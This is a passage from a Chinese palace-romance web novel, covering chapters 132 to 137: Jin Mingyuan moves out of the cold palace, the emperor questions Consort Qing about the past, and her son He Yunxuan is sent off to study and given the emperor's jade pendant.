张公公进来,也听到晋明鸢这句话,他立刻恭维道:“瞧娘娘这话说的,您那怎么能算打陛下呢,分明是在与陛下调情呀,陛下当然分得清楚。” 调情… 她调个鬼的情啊。 晋明鸢自己都无语了。 她是猜到,张公公能在陛下身边当差,应该是有些本事的,倒是没想到此人竟然如此会说话。 打人都能说成调情,这说法一换,好像确实陛下没必要生气。 张公公又说:“娘娘,看看有哪些东西是需要带走的,衣服什么的就不必了,陛下那里会给您准备好的。 邀云宫也什么都不缺,娘娘只管找些重要物件就是。” 在张公公的背后,一群下人们都是严阵以待的模样。 晋明鸢哪里见过这架势?她也顾不得胡思乱想了。 第132章 儿子坑娘 冷宫这边如火如荼的收拾东西的时候。 紫宸殿里,清妃还是一脸的关心:“不知陛下叫臣妾过来所为何事?晋姐姐搬到邀云宫,也不知能不能习惯,要不臣妾先替陛下去邀云宫看一看? 正好现在还有时间,在晋姐姐搬过去之前,臣妾先让人打扫一番如何?” “清妃,你就没有什么话想与朕说吗?”贺江灈面无表情的接了话。 “陛下想听臣妾说什么?”清妃眼神有些闪烁,但很快又坚定了起来,还是那幅柔柔弱弱的语调。 贺江灈道:“阿鸢的事是你告诉母后的吧,你不想让阿鸢出冷宫。” 他用的是近乎笃定的语气。 看着清妃的时候,眼睛更是一片探究。 清妃的视线和他有短暂的对视,很快她自己就先低下了头:“晋姐姐,如今没有记忆,格外单纯,这后宫里尔虞我诈不断,臣妾只是不想让她站在风口浪尖上。 之前没有保护好晋姐姐,一直都是臣妾心里的一根刺,臣妾永远都不希望当年的事再发生一次,臣妾想让晋姐姐平安。” “当年的事到底怎么回事?”贺江灈问,“清妃,朕只再问你这一遍。” 清妃不知道,贺江灈为什么会强调只问一遍。 她垂着头,在出声的时候,声音已经哽咽起来:“当时…当时情况很乱,哥哥去引开追兵,我与晋姐姐是分开跑的。 后来等再找到晋姐姐的时候,就是在一间破庙里,那时候晋姐姐昏迷不醒,衣衫不整,周围还有…还有先太子的人。 哥哥拼命把晋姐姐带了出来,他就让我带着晋姐姐跑,我只能照做。 但是…但是我就没有再等到哥哥回来。 晋姐姐她…那件事臣妾本来是想瞒着的,但后来晋姐姐就怀了身孕,是她执意要留下这个孩子,臣妾也只能选择认同。” 深吸了一口气,清妃已经泣不成声,她又委屈道:“陛下,都是臣妾不好,当时如果知道会发生这样的事,臣妾说什么也会与晋姐姐一直在一起的。 是臣妾,是哥哥,是赵家,辜负了陛下的信任,才让晋姐姐如此。” 贺江灈的表情本来是冰冷的,但在听到清妃口中的哥哥二字时,他的脸色却缓和了一些。 过了有一会,他才对清妃道:“你哥哥从来没有对不起朕,你不必因为这件事愧疚。” 清妃重重地松了一口气。 脸色也放松了下来。 她很清楚,兄长的死,永远都是陛下心里的一根刺,不管任何时候,只要提起这件事来,陛下就永远会对她宽容。 清妃离开之后,贺江灈直接叫来了暗一:“吩咐人沿着当年阿鸢离开的路去查,不管是谁,只要能提供当年的线索,赏银百两。” “陛下是要彻查晋娘娘生子的事?”暗一问。 当年夺嫡之战时代惨烈,朝中七个皇子,到最后也只剩下了陛下与宴平王。 鲜红的血几乎要铺满整个京城。 陛下是的一路踩着鲜血登基的。 也就是在那时候,朝中局势甚至还不算稳定,他们先得到了晋娘娘在外面生子的消息。 陛下丢下政务亲自去接人,结果晋娘娘却是怎么都一口咬定孩子是陛下的,但按那孩子的出生时间算分明就不对,陛下明明已经与晋娘娘一年未见,她怎么可能会怀了陛下的子嗣呢? 当时具体的情况,暗一其实有点不记得了,就是知道陛下与晋娘娘不欢而散,但最后还是把人接回了宫里。 后来就是民间传言,先太子的踪迹,曾与晋娘娘的踪迹重合,算算晋娘娘有孕的日子,甚至连时间都是对得上的。 最厉害的时候,民间甚至有人编出那等讽刺陛下的歌谣。 这些晋娘娘也是知道的,但最后她还是咬死了要留下那个孩子,后来晋娘娘就去了冷宫。 这件事对陛下的打击很大,尤其是陛下最好的兄弟也因此而死。 陛下之前对这件事一直都是回避的。 暗一也是不知道,到底是什么,让他打算自揭伤疤。 贺江灈点头:“朕想知道她当年到底遭遇了什么。” 张公公的动作很快,晋明鸢的东西也确实不多,不出片刻,就已经完全收拾妥当。 但临走的时候,晋明鸢却又犹豫了,她道:“那陛下到底为什么要让我去邀云宫呀?我在这里都住习惯了,不去能行吗?” 若是放在晋明鸢刚醒过来的时候,她是很乐意离开冷宫这个鬼地方的,可是现在… 晋明鸢也不知道是贺江灈身份暴露给她的冲击太大,又或者是她一直都不知道怎么面对自己这位所谓的夫君,竟然给了她些许临阵脱逃的念头。 张公公说:“娘娘您就别犹豫了,这邀云宫可是好地方,这宫里不知道多少人惦记着呢,陛下心疼您,特地让您搬过去的,您可不能辜负了陛下的一番心意啊。” “那云瑄呢?若是我走,云瑄也得跟着,我不能放下云瑄。” 提到贺云瑄,张公公愣了一下,但很快又点了点头:“那是当然,小公子自然可以跟晋娘娘一起走。” 陛下从来没有提过这个孩子的事,既没有说让他留下,也没有说让他跟着。 在这种情况下,自然是以晋娘娘的想法为重。 张公公又道:“晋娘娘这下没有什么顾虑了吧,咱们快走吧,陛下说不定已经在邀云宫等着娘娘了。” 他不说后半句还好,这么一说晋明鸢又是有点心虚。 脚步像是钉在了原地一样。 晋明鸢说:“要不还是明天吧,我还没有和姜妹妹告别呢!” “娘娘,邀云宫也在皇宫,您与姜妃娘娘还是可以日日见面的,没有必要告别。”张公公直接打破了晋明鸢的希望。 他又一次催促:“请吧娘娘,别让陛下等着急了。” 贺云瑄也说:“娘亲咱们快走吧,我还想去看看邀云宫呢。” 虽说是满足儿子的愿望,但这会儿晋明鸢却有点高兴不起来,她总觉得她这儿子有点坑娘。 第133章 陛下会来的 邀云宫并没有晋明鸢想象的那样金玉铺地,朱翠砌墙。 但比起冷宫来,也是壮观的,就好像不在一个世界里面的熏香和陈列都让晋明鸢惊讶的目瞪口呆。 正如张公公说的,东西都准备好了,梳妆台上摆着各式各样的钗环,衣橱里的宫装看的人更是眼花缭乱。 晋明鸢红唇微张,眼前的这一幕让她更加不安了。 张公公把人送到了,就恭敬道:“娘娘您先歇着,陛下晚点应该会过来。” 这邀云宫前几天陛下就让人收拾出来了。 虽然晋娘娘今日搬过来的时间有点突然,但这宫里的一切已经一应俱全,也没有什么不合适的地方。 “等等,你说他今天还要过来?”晋明鸢这会儿更慌了。 她已经不愿意再想贺江灈要过来干什么了。 她本来就是他的夫人,之前住在冷宫也就算了,现在搬出来了,有些事自然是… 只是晋明鸢想到,自己之前一直都把那个人当奸夫的,她心里就又有点儿不适应。 而且那个人如果不是奸夫的话,真正的奸夫又是谁? 云瑄与他长得那么像,当真不是他的孩子? 本就不怎么清明的脑子,现下变得更乱了。 晋明鸢揉着太阳穴,一时都不知道该说什么好。 “陛下会过来的。”张公公这次的声音都变得笃定了许多。 就算不为别的,晋娘娘今日迁宫,陛下也得来看看晋娘娘在这里习不习惯,有什么缺了短了的。 张公公很快就走了,晋明鸢整个人变得更不好了。 她将求助的目光看向贺云瑄:“云瑄,你说我们把门锁了有没有用?” 贺云瑄毫不留情地直接挑破了她的幻想:“娘亲觉得呢?冷宫哪天没有关门,他哪天来是走的门?” 锁门或许会让那位陛下的到来变得不那么体面,但绝对阻挡不了他的脚步。 晋明鸢的脸垮的更厉害了。 贺云瑄道:“娘亲,您到底在害怕什么?这邀云宫很好不是吗?今年冬天您也不用再怕屋里漏风了不对吗?” “我…”瞧这这家儿子那双干干净净的眼睛,晋明鸢动了动嘴,却是一句话也说不出来,确切的说她也不知道自己在慌什么。 真的只是因为误把那个人当成奸夫嘛,好像也不全是。 又或者是因为失忆,不知道该怎么面对这个曾经与自己拜过堂的人,又或者别的什么。 总之自从在冷宫里窥破那个真相之后,晋明鸢现在怎么也不舒服。 贺云瑄也看出来晋明鸢情绪不太好,他没有再多问什么,只是安静又乖巧的待在晋明鸢身边陪着她。 同时他自己也有点疑惑,好像那个人也没有提过,要怎么安排他的事,若说让他留在邀云宫与娘亲一起,贺云瑄自己都有点不信。 母子二人就这么在邀云宫里等了一夜,贺江灈却没有来,反而是早上的时候先等来了姜妃。 姜妃瞪着一双眼睛,一来就拉着晋明鸢的手:“晋姐姐,这怎么回事?你怎么还整邀云宫里来了?” 她昨夜睡得早。 一睁开眼的时候,冷宫里已是人去楼空,只剩下了几只鹅满院子的乱跑。 这一打听才知道,晋姐姐竟然无声无息的来了这里。 贺云瑄说:“就是昨日清妃与太后娘娘去找娘亲的麻烦,正好陛下也在,然后就让娘亲搬出了冷宫。” 他隐去了龙袍的事。 姜妃也没有太深究的意思,只是脸色更难看了:“赵清吟到底有完没完,这是真装不下去了吗?上次那事没让她也一起病倒,真是便宜她了。” 贺云瑄见状,连忙安慰道:“姜姨姨,你也别那么生气,如今娘亲搬出冷宫也未必是坏事,你看这邀云宫确实挺好的,不是吗?” 娘亲才刚搬出来,贺云瑄实在不想多生事端。 他感觉那个人不会大度的让他一直留在邀云宫里,对他来说,现在最重要的就是在自己临走之前,让娘亲赶紧熟悉这儿的生活。 姜妃忽然看向了贺云瑄:“你小子之前就找我打听邀云宫,现在晋姐姐又住进了邀云宫,这中间真没有什么猫腻吗?” 贺云瑄连忙摇了摇头:“姜姨姨是怀疑我吗?就算我真存了什么心思,那陛下也不可能听我的呀,这件事真就是个意外,我娘亲也愁着呢。 她之前对陛下不怎么好,如今知道了陛下的身份,害怕陛下找她的麻烦,已经担心的一晚上没睡了。” 姜妃这才注意到,晋明鸢眼睛下面确实有大片的乌青。 她便也没有再探究邀云宫的事,对着晋明鸢很是无所谓的道:“怕什么晋姐姐,在你跟前隐瞒身份本就是他自己的意思,你又没有强迫他什么。 总之你也没什么对不起他的地方,就连让你从冷宫里出来,住进邀云宫都是他的意思,你何必觉得愧疚又或者什么? 你就听我的,什么都不必想,之前怎么对他,现在就这么对他,说不定他还甘之如饴呢。” 晋明鸢觉得自己好像被安慰到了,又好像没有。 不管是这恢宏的邀云宫,还是那人的身份,都意味着和以前不同。 两个人说话间,芙蕖从外面进来:“娘娘早膳好了,要不要传膳?” 一听到这话,晋明鸢就更不习惯了。 之前她在冷宫里的时候,都是什么时候饿了,贺云瑄就去做饭了,哪里有过这种按时按点的传膳? 姜妃道:“传吧传吧,吃饭最重要嘛。” 打发走了芙蕖,她又对着晋明鸢道:“晋姐姐,你当真不用在意这些,若是实在想不通,干脆找人把他叫过来,你自己看看他对你的态度有没有变。” 虽说对晋明鸢出冷宫的事,姜妃也算不上高兴。 但再想一想的话,这邀云宫的环境确实比冷宫好太多了,晋姐姐在这里可以过得舒心一些。 至于那个皇帝,该给他添堵就继续添了,反正晋姐姐舒心就够了。 晋明鸢巴不得不见贺江灈呢,自然不会自己去见他。 邀云宫里本来就有许多下人,饭菜很快就被端进了屋。 看着这么多琳琅满目的菜式,晋明鸢不习惯的同时又很快释然了,她对姜妃道:“你说的对,先不管别的,至少在这里能让我们云瑄吃好喝好,这就够了。” 第134章 他拒绝了 一提到贺云瑄,晋明鸢的眼睛就柔和了许多。 她又想到了自己刚睁开眼睛的时候,云瑄瘦的皮包骨头的模样。 之前总是口口声声的说,照顾云瑄,事实上她连做饭都不会,在冷宫里的活还是云瑄在干。 这若是留在冷宫里,她怕是几辈子也给云瑄弄不来,这么多好菜补身体。 搬到这个地方来,也确实不是什么坏事。 至于皇帝那里,大不了就硬着头皮上呗,如果应付那个人几句,就能给云瑄换这样的生活确实不亏。 就算晋明鸢搬到了邀云宫里,姜妃留下来吃饭时也是格外的理所当然,一切好像和之前在冷宫里没什么变化。 用完了饭之后,姜妃又笑盈盈的对着晋明鸢道:“晋姐姐如果实在不安心的话,不如我留下来陪晋姐姐一起睡,等晋姐姐什么时候习惯了,我再走也是可以的。” 她眼睛眨呀眨。 眼里还带着意味不明的情绪。 身子又朝着晋明鸢这里靠了靠。 腰杆都挺的笔直,让她看起来都比以往可靠了许多。 晋明鸢觉得,好像也不是不行,直接就应了下来。 而贺云瑄坐在一边,直接就将姜妃心里的小九九看了个彻底。 她这是防着陛下来邀云宫就寝呢。 贺云瑄并没有要点破她心思的意思。 虽说那个人对娘亲还算不错,但贺云瑄依旧不想看他与自己抢娘亲。 即便知道姜妃未必能一直拦下去,但能拦一天是一天嘛。 姜妃很快就让人回幽兰馆拿她的贴身衣物了。 她哄着晋明鸢先去午睡休息,她自己这是带着贺云瑄检查起这宫里有没有什么缺了少了的。 中间宫里的嫔妃们一茬接一茬的来邀云宫送贺礼,姜妃也都是象征性的接了东西,把人直接打发了走。 等晋明鸢一觉醒来的时候,已经是下午了,本来还算空荡的桌子上堆了许多东西。 姜妃还带着贺云瑄在旁边清点,一样样的全都登记造册。 “姜妹妹,你们这是在做什么?”晋明鸢问。 “晋姐姐如今在冷宫里出来,这些都是宫里的嫔妃过来道贺时送的,只是这些人送礼真心假意还未尝知,也不知里面有没有别的算计,总要先记录好,心里有数。”姜妃说。 如果是送给她自己的东西,她大可以不这么麻烦,直接不要就是,反正她也懒得与那些人社交,也不怕得罪人。 可是给晋姐姐的就得小心一些了。 晋姐姐没必要像她那样把所有人都得罪了。 晋明鸢皱着眉,总觉得这出了冷宫,日子好像越过越麻烦。 姜妃又说:“晋姐姐你也不用担心,如果真觉得麻烦的话,只管把谁来了,送过什么,全都告诉陛下就是,如此你自己就不用操心了。” 等到东西都清点完入库之后。 天色也渐渐黑了下来。 姜妃正要叫人传膳,外面就传来了一声通报:“陛下驾到。” 昨夜张公公说他会来,却没有来,今夜晋明鸢以为他也不会来呢,结果却是没想到… 这会儿晋明鸢心里不禁就又有点忧虑。 伴随着男人进来,晋明鸢看着他甚至还有点失神,男人的模样自然是没变的。 他身上的龙袍对晋明鸢来说也很是熟悉,之前没有看清脸的那几次,陛下稳坐高位,穿着的永远都是这明黄色的衣裳。 偏偏如今两样组合在一起,让晋明鸢觉得无比的陌生。 “臣妾参见陛下。”姜妃拉着晋明鸢行礼,声音不冷不硬的。 贺江灈睨她一眼:“你怎么在这里?” “当然是来陪晋姐姐的,臣妾不仅现在在这里,今晚还要与晋姐姐一起睡呢。”姜妃说。 她一点儿也不遮掩,直接就道出了自己的目的,又补充道:“说起来也怪您呀,您之前在晋姐姐那里装暗卫,现在身份暴露了,又直接把晋姐姐接出冷宫,连一点儿适应的时间都不给,若非如此,晋姐姐又怎会儿担惊受怕到连觉都不敢睡?” “你昨天没有休息?”贺江灈也不管姜妃絮絮叨叨一大堆的话,只是看向了晋明鸢。 昨天他特地没来,就是想让晋明鸢先适应适应的。 姜妃没好气的道:“从暗卫到皇上,这么大的变化,你让晋姐姐怎么敢睡,总之为了晋姐姐的身体,这段时间我要留在邀云宫陪晋姐姐。” 姜妃先发制人,又一次提出了自己的要求。 贺江灈再次瞥她一眼,问晋明鸢:“你想让她留在这里?” “可以吗?”晋明鸢试探着问。 除去那身晃眼的龙袍以外,这个男人的态度好像真的没有什么变化。 就连姜妃这么一次次的挑衅他,也不见他有什么怨怒,这让晋明鸢的担忧总算是少了许多。 “可以。”贺江灈说,“你刚搬过来不习惯,就让她在这里陪你一段时间吧。” 他答应的很快,但看向姜妃的眼神却不怎么和善,姜妃只当没看见,又说:“陛下如今把晋姐姐迁到邀云宫里来,可是把晋姐姐推到了风口浪尖上呢,您不打算先给晋姐姐一个位分吗? 贵妃怎么样? 这邀云宫本就是前朝贵妃所住的地方,给晋姐姐这个位分,也刚好堵住外面的悠悠众口。” 既然已经出了冷宫,那位分当然是不能少的。 他太了解有些人的心思了,如果现在晋姐姐没有位分,怕是用不了几天,这满宫里就会传晋姐姐不配在邀云宫之类的话。 那群嫔妃自然也不可能对晋姐姐尊敬。 晋姐姐之前可是陛下明媒正娶的。 哪怕在姜妃的心里,只有皇后之位才与晋姐姐相配,可现在她也知道,要皇后的位置有些难,那就只能退而求其次了。 姜妃现在所说的正也是贺云瑄所想的,两个人的目光就这样齐齐的看向了贺江灈。 贺江灈道:“这件事以后再说。” “为什么?难道在您心里,晋姐姐还比不上一个贵妃的位置吗?”姜妃道。 他明明已经把晋姐姐接出冷宫了,这种要求为什么会拒绝? 第135章 游学 贺江灈一直没有再接姜妃的话。 姜妃还想再说下去,晋明鸢按住了她的手。 现在晋明鸢连住进这个邀云宫都不习惯,至于那什么贵妃的位置,她更是想也没想过,对她来说那些都无所谓。 又或者说比起那些来,她更希望没有这个位分。 毕竟如果真的做了所谓的嫔妃,男人想让她侍寝,不也就没有正当的理由拒绝吗? 晋明鸢现在依旧不愿意与贺江灈有什么过多的接触。 一片沉寂之下,是贺江灈先扭头对着晋明鸢道:“阿鸢,朕有事与你商议。” “啊?我?”晋明鸢指了指自己,甚至还觉得有点不确定。 她和这个男人,有什么可以商量的? 贺江灈道:“他如今年纪也不小了,是时候该学些正经东西了,朕打算让他跟着姜源出去游学,阿鸢意下如何?” “游学?你认真的,那是不是以后我就见不到我儿子了?不行,这绝对不行!我不管你打什么主意,反正我宝贝儿子不能离开我身边。”晋明鸢说。 也不看贺江灈的脸色,她直接放下了筷子,又自言自语的嘀咕道:“若是早知道你要我宝贝儿子走,我就不该出这个冷宫的,不对,我现在就回去,走云瑄,邀云宫你已经看过了,咱们回家,你放心,娘亲不会让任何人把你带走的。” 她看向贺江灈的目光,已经越发的警惕了。 这个男人确实与他宝贝儿子生得很像,他应该不至于拿自己的血脉开玩笑,当年之所以把自己当打定冷宫,说不定儿子的身世真的另有隐情。 既然如此,晋明鸢就更不能把儿子交给他了。 她还记得刚醒过来的时候,自己身边就只有云瑄。 脑子一片空白的那段时间,她是与云瑄相依为命的,云瑄就是她的全部。 伸出手来就要拉着贺云瑄起身,但贺云瑄的小手放在了晋明鸢的手背上,带着几分安抚的意味,他道:“娘亲莫慌,他只是让云瑄出去学习而已,这不是什么坏事,云瑄愿意去的。” 其实听到贺江灈的话时,最惊讶的莫过于贺云瑄了。 以他之前自己和贺江灈谈的条件,对方该把他放出宫去自生自灭的,可他却说要找人带他游学。 而且这事儿既然是在娘亲面前说出来的,那必然就没有什么猫腻。 这人现在是一心想要讨好他的娘亲,他确实没什么必要做阳奉阴违的事伤害自己。 “什么你就愿意去了?你是不要娘亲了吗?”晋明鸢问。 她瞪着一双眼睛,完全不愿意相信贺云瑄竟然这么干脆的就要抛弃她。 贺云瑄说:“怎么会呢?娘亲,出去游学是学习东西的,而且每年都会有时间回来看娘亲的,你先坐下,咱们先听听陛下怎么说。” 比起自己设想的结果来,贺江灈给他的的这个答案已经好了很多了。 贺云瑄也没什么得寸进尺的意味。 他现在更好奇那个姜源是谁。 能让身为陛下的他指定的人,想来是有些真才实学的,他这一趟出去一定要好好学习,给娘亲争光。 晋明鸢不情不愿地又坐了回去。 贺江灈道:“朕知道你舍不得他,但男孩子还是需要多出去闯荡的。 总是拘在书院里学习到底不及自己体会,至于姜源,阿鸢也认识,他之前给这小孩当过师傅。” 给贺云瑄当过师傅的,除了姜妃以外就只有一个人了,便是之前跟着贺江灈去冷宫的那个暗卫。 原来他本名叫姜源。 这倒是和姜妃一个姓呢,晋明鸢不由的看向了姜妃,姜妃不情不愿地点了一下头:“那就是我表兄,他那个人很是随性,前几年春闱中了个状元,先帝想指他去翰林院,但他不喜为官,直接给拒绝了。 后来先帝又说让他去太学教皇室子弟念书,他说不喜欢小孩,结果到最后他的差事没定下来,先帝就病逝了,我也没再见过他了,听说他现在是在陛下身边。” 可不是在陛下身边吗? 听姜妃那意思,先帝又是让他去翰林院,又是让他去教书的,这人应该是个文状元的,也不知怎么又成了个暗卫。 还有随性,也是确实是随性,连先帝的旨意都反驳,主要是屡次反驳之后还活得好端端的,这人定是有点本事。 而且最关键的是,他在冷宫教过贺云瑄一会儿,贺云瑄好像真的挺喜欢他的。 虽然后面他没再来过,贺云瑄也没提过,但晋明鸢总觉得贺云瑄很在意他的那个师傅。 既是姜妃的表兄,人是信得过的,贺云瑄自己也喜欢,这件事怎么看都是个好事。 可晋明鸢还是记住了姜妃的某句话,她道:“你说他不喜欢小孩?” 那让云瑄跟着他出去怎么行?万一他在路上把云瑄丢了怎么办? 姜妃道:“晋姐姐,那你真是想的太多了,你看咱们云瑄像是小孩吗? 虽然我那个表兄看上去好像不靠谱,但在正事上又好像挺靠得住的,若不然陛下也不会用他那么久。” 到底也算是自己家里的人,姜妃难得的替别人说起了好话。 他对他那个表兄其实不怎么熟悉,只记得那人很是懒散,又怕麻烦,好像还挺嫌弃蠢人。 不过这些和云瑄都沾不上边儿,他不至于对云瑄有什么不好。 晋明鸢这才渐渐的放下了心,她拉着贺云瑄的手。关切道:“云瑄,你告诉娘亲,是你自己想去吗?” “我想去学习东西,这样以后就能保护娘亲了,娘亲你就让我去吧。”贺云瑄说。 他自己也清楚,自己的身世到现在为止还是个谜。 听说娘亲是在宫外生了他,他也想去探寻一下当年的真相。 “那要是云瑄走了,多久才能回来一趟?”晋明鸢问贺江灈。 贺江灈道:“这个得看情况,少则三个月半年,多则一年,不过你放心,以姜源的能力,足够保证他安全。” 他确实懒得与一个小孩再计较了,这小孩也确实聪慧,对阿鸢也是一片孝心,让他去学些东西,等以后保护阿鸢也是好的。 第136章 玉佩 贺云瑄的事就这么被敲定了下来。 尽管晋明鸢心里依旧觉得不舍,但这是贺云瑄自己的决定,她也只能选择尊重。 贺江灈并没有要苛待贺云瑄的意思,邀云宫里有给晋明鸢准备的衣物,同样也有贺云瑄的。 贺云瑄出宫定在三日后。 贺江灈走了以后,晋明鸢就跑到偏殿去给贺云瑄收拾衣物。 贺云瑄想要过来帮忙,晋明鸢拦住了他:“你马上就要离开娘亲了,便让娘亲帮你做点什么吧。” 她态度很是坚决,贺云瑄便也没有说什么,只是道:“那就辛苦娘亲了,我想出去走走。” “去吧,叫芙蕖跟着你。”晋明鸢说。 儿子这样的小要求,晋明鸢当然不会拒绝。 贺云瑄一向听话懂事,也有分寸,关于他要去哪里,晋明鸢也没有多问,只当他是刚在冷宫里出来,想要在皇宫里转转。 却不知道他这么一转,就是转到了紫宸殿里。 看到他的时候,贺江灈一点也不意外,就只是轻飘飘的掀了个眼皮,完全没有把他当成孩子。 贺云瑄行了个礼,就直接道:“今天的事谢谢你,我走以后,希望你能照顾好娘亲。 我不知道娘亲之前是什么样子的,但他现在失忆了,行为可能有些跳脱,也可能有些不守规矩,你既然同意了,把她接出冷宫,希望你能照顾好她。” 他声音不卑不亢的,黑黝黝的眼睛直接与贺江灈对视,瞳孔里带着坚韧。 “还有你之前以暗卫的身份接近娘亲,现在忽然是恢复身份,娘亲有点不习惯也是正常的,希望你可以循序渐进一点,不要吓到她。”不等贺江灈回话,贺云瑄又继续絮絮叨叨的叮嘱。 “如果娘亲做错了什么事,还请你不要太与她较真,可以等着我回来之后罚在我身上。” “我娘亲说话不太好听,也不太会与人相处,如果他与你的其他嫔妃闹了什么不愉快,未必是她想那么做,你一定要查清真相,不能冤枉了她。” “还有就是…” “说够了吗?”这次贺江灈打断了贺云瑄的絮絮叨叨。 他道:“朕照顾阿鸢,比你所认为的还要久,这些不用你教。” 贺云瑄鸦睫轻颤,在这种时候,他却没有一点退让的意思,直接反驳道:“之前或许确实如此,可这五年娘亲在冷宫,你不也是不闻不问吗,总之你一定要把我娘亲照顾好,一定要常去看她,一定要保证她的安全。 还有,娘亲现在就很好,我们都不希望看到她变成以前那样冷冰冰的样子,对不对?” 他可以看得出来,对于娘亲现在跳脱的模样,面前的这个人好像没有太多的意外,就连上次他在冷宫里缝龙袍的时候,也是理所当然的姿态,好像现在这般才是娘亲的本来性格。 不管到底是什么让一个大大咧咧没心没肺的人变成那般清高冷漠的模样,但那总归不是什么好事。 贺云瑄再也不想看到那个把自己关在门里,对谁都不理不睬的娘亲了。 他的话也像是一根刺一样,直接扎进了贺云瑄的心里,贺江灈的眸光沉了又沉,他对着贺云瑄招了招手:“你过来。” 贺云瑄不明所以,却还是小步走向了他。 “把手伸出来。”贺江灈又说。 贺云瑄伸出小手,男人直接解下了挂在腰间的玉佩,放在了他的手心:“姜源不靠谱,照顾好自己,有麻烦了就带着玉佩去寻当地官府。” 玉佩质地上佳,好像还残留着男人手心里的温度,温热温热的,贺云瑄直接把东西推了过来:“我不要你的东西,你只要照顾好娘亲就好了。” “拿着吧,阿鸢也希望你好好的。”贺江灈说,不容贺云瑄拒绝,他自己把玉佩挂在了贺云瑄的腰间。 这还是第一次贺云瑄与他距离那么近,而且没有任何的剑拔弩张。 一切都像极了最寻常的父子,可贺云瑄知道,这只是眼前暂时的表象罢了。 那玉佩拿在手里其实不重,坠在腰间的时候却沉甸甸的,又像是有千斤重。 “谢谢。”贺云瑄的声音更闷了。 视线看着男人与他相似到极点的侧脸,他的瞳孔恍惚了一下,很快又恢复正常。 手不自觉的按在了那块玉佩上。 贺江灈说:“时候不早了,回去吧,别让阿鸢等久了。” “好。”贺云瑄的声音还有点闷,临走的时候他又补充道,“我娘亲害怕太后,能不能不让她给太后请安?” “她不需要给太后请安。”这回贺江灈直接给了一个准确的答案。 太后心思深沉,手段狠辣,他也不想阿鸢接触太后。 贺云瑄走后,暗二从阴影里闪了出来。 他换掉了一身漆黑的暗卫衣服,穿了件白色的袍子,瞧起来倒是有种公子翩翩的味道。 朝着贺云瑄离开的方向,他不由的感慨道:“倒是个不可多得的好孩子,陛下是不是也心软了,所以才会把玉佩给他?” “这与你无关,你这次带他出去,把人照顾好了,上点心,等他回来的时候,朕会亲自考校。 你别想出去偷懒,若是到最后他什么都没有学会,朕饶不了你。”贺江灈说。 暗二张大了嘴,很是夸张道:“不是吧,真要教呀,属下还以为你是嫌他碍眼,随意寻了个由头,让属下把人带走呢!您这到底是…” “他是个好苗子,也够聪慧,朕没有子嗣,如果他能扛起大任…” 贺江灈没有继续说下去,但话里的意思已经再明显不过了,暗二听的更是目瞪口呆。 虽然看那小公子的模样,八成就是贺家的血脉,可他的生父大概率就是先太子,陛下与先太子可是有杀母之仇,怎么就这么大度的培养先太子的孩子? 贺江灈说:“之前的事与他无关,你也不用在他身上耍什么小心思,该怎么教就怎么教,朕要看到他的进步,赶紧去准备准备吧。” 暗二应了一声,匆忙退下。 第137章 凝华宫晚婕妤 邀云宫这边,贺云瑄回来的时候,晋明鸢已经把东西差不多收拾好了。 看着被叠的整齐的衣服,还有一些在冷宫里带过来的金银全被装进包袱里,贺云瑄心里忽然就有点发酸。 这好像还是第一次,他的娘亲做事做的这么妥帖,他也是难得的体会到了被娘亲照顾的感觉。 “回来了,出去玩的怎么样?”晋明鸢问。 “挺好的,皇宫很大,御花园里的花也漂亮,娘亲以后可以去散散步。”贺云瑄压着心里的酸楚,随便扯着谎。 他走到了晋明鸢的身边,从包裹里拿出了一部分金银,塞回到了晋明鸢手里:“娘亲如今已经出了冷宫,免不了有打点下人的时候,这些都要用银两,这些银子还是娘亲留着用吧。” “我又不争宠,又不做什么的,打点他们做什么,你出门在外,娘亲也没有更多的东西给你,听话,这些都拿去。”晋明鸢说。 贺云瑄还想推拒,晋明鸢直接将东西又塞回了包裹里,把包裹也系了个结实:“听话,别惹娘亲生气。” 这孩子实在是太懂事了,即便是出门在即,也没有忘了为她考虑。 晋明鸢心头软软的,也不知道她上辈子做了多少好事,才有这么一个乖巧的儿子,想想自己以前还对他不好,晋明鸢都想回去打醒那个曾经的自己。 晋明鸢失神的空档,贺云瑄拉着她的手道:“娘亲,我走了以后,你一定要照顾好自己。 一定记得别随便相信别人,对谁都要多加防备,尤其是贵妃和太后,她们送来的东西不要碰,更不要吃,还有…” “好了,你这孩子怎么跟个老头一样?这点小事娘亲难道还能不知道吗?放心,娘亲一定能照顾好自己的,倒是你,第一次出门又没有娘亲在身边,可一定得照顾好自己,早点回来看娘亲,知道吗?”晋明鸢道。 贺云瑄点头,他忽然抱住了晋明鸢的腰,大半张脸都埋在晋明鸢怀里:“娘亲,你放心,云瑄一定会好好学习,争取早日长大,保护娘亲。” 晋明鸢在贺云瑄这里回去的时候已经是深夜了,姜妃也没有睡,这会儿还在等她。 看到晋明鸢,姜妃就安慰道:“晋姐姐你就放心吧,云瑄他并非一般的孩子,这次出去游学,对他来说分明是件好事。” 甚至姜妃觉得,这回陛下做的还真是够大度的,竟然还给贺云瑄指了个有些真本事的师傅,还是就连他自己的儿子,最多也就是请姜源单独教学了。 “我知道是好事,只是云瑄没有离开过我,我总觉得放心不下,衣服什么的我都给他收拾好了,姜妹妹你说,还有什么可以给他带上的?”晋明鸢问。 给贺云瑄收拾包袱的时候,她一遍遍的检查过了,可现在依旧觉得戴什么都好像不够。 她其实并不擅长去深思什么,但今日却总控制不住的想,她的宝贝儿子出门在外,可别缺了短了。 姜妃道:“其实也不用带什么东西的,如果晋姐姐实在放心不下,明日我陪你去趟太医院,弄些跌打损伤的药备着,总归是有用的。” “这个好。”晋明鸢的眼睛一下子就亮了起来,药确实该备一些的。 翌日一早,天才刚亮,晋明鸢就迫不及待的拉着姜妃要去太医院。 姜妃好说歹说,也没能让她答应吃了早饭再去,只能跟着她一同前往。 马上就要入冬了,近来天亮的晚,出门的时候,天色还是灰蒙蒙的。 一出门就有冷风灌进衣领,冻的人浑身发抖,一路上更是几乎看不到几个人影。 这个时间点儿,往日的太医院应该也是安静的,可今日两个人到了的时候,就先听到了一阵争执声。 太医院的人应该也都用早膳去了,这会儿就有一个小丫头在里面当值,和她起争执的不知是哪个宫里的大宫女,端的是一副颐指气使的姿态,张口闭口就是我们娘娘。 “这是怎么了?”姜妃直接打断了两人的争吵,又看下了那个气势汹汹的宫女,“你是哪个宫的?大清早的在这里闹什么?” 姜妃如今协理六宫,自然是没人敢与她起什么争执,原本还很高傲的宫女看到她的时候,直接就跪了下来:“奴婢是凝华宫晚婕妤跟前的心禾,今日我们娘娘不慎摔伤了腿,让奴婢过来抓药,可是这贱婢却扣着药不给,奴婢一时气不过。才与她争执了两句,还请姜妃娘娘明鉴。 